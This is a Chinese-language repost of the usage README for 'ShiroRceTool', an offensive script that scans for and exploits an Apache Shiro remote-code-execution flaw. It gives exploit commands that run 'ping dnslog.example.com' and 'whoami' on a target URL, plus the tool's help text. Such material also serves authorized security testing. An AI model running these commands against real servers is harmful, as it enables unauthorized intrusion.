0x01 工具介紹
一個簡單的Shiro RCE檢測和利用腳本。
0x02 安裝與使用
1、安裝需要的包
pip install -r requirements.txt
2、檢查該漏洞
python ShiroRceTool.py -m scan -u "http://example.com"
3、執(zhí)行命令 (不回顯)
python ShiroRceTool.py -m exploit -u "http://example.com" -c "ping dnslog.example.com"
4、執(zhí)行命令(嘗試回顯)
python ShiroRceTool.py -m exploit -u "http://example.com" -c "whoami" -e
5、獲取幫助 - Get help
python ShiroRceTool.py ____ _ _ ____ _____ _ / ___|| |__ (_)_ __ ___ | _ ___ __|_ _|__ ___ | | \___ | '_ | | '__/ _ | |_) / __/ _ | |/ _ / _ | | ___) | | | | | | | (_) | _ < (_| __/| | (_) | (_) | | |____/|_| |_|_|_| \___/|_| _\___\___||_|\___/ \___/|_| By: Hack3rHan usage: ShiroRceTool.py [-h] [-m MODE] [-u URL] [-c CMD] [-e] options: -h, --help show this help message and exit -m MODE, --mode MODE "exploit" or "scan". -u URL, --url URL URL of the target. -c CMD, --cmd CMD Command to execute. -e, --echo Echo mode.
審核編輯:湯梓紅
-
檢測
+關(guān)注
關(guān)注
5文章
4601瀏覽量
92523 -
命令
+關(guān)注
關(guān)注
5文章
726瀏覽量
22667 -
腳本
+關(guān)注
關(guān)注
1文章
396瀏覽量
28340
原文標(biāo)題:一個簡單的Shiro RCE檢測和利用腳本。
文章出處:【微信號:菜鳥學(xué)安全,微信公眾號:菜鳥學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
Lua腳本簡單介紹
Lua腳本簡單介紹
基于DirectShow技術(shù)的RCE算法視頻加密方案
Apache Shiro框架的詳細(xì)資料說明

如何創(chuàng)建和執(zhí)行一個簡單的Linux shell腳本
如何巧妙利用HFSS腳本錄制功能
109個實用shell腳本分享
如何創(chuàng)建一個簡單的腳本
shiro綜合利用工具介紹
利用Python寫了一個監(jiān)控服務(wù)器資源利用率的腳本!
shiro如何實現(xiàn)Web應(yīng)用認(rèn)證

Shiro功能介紹

評論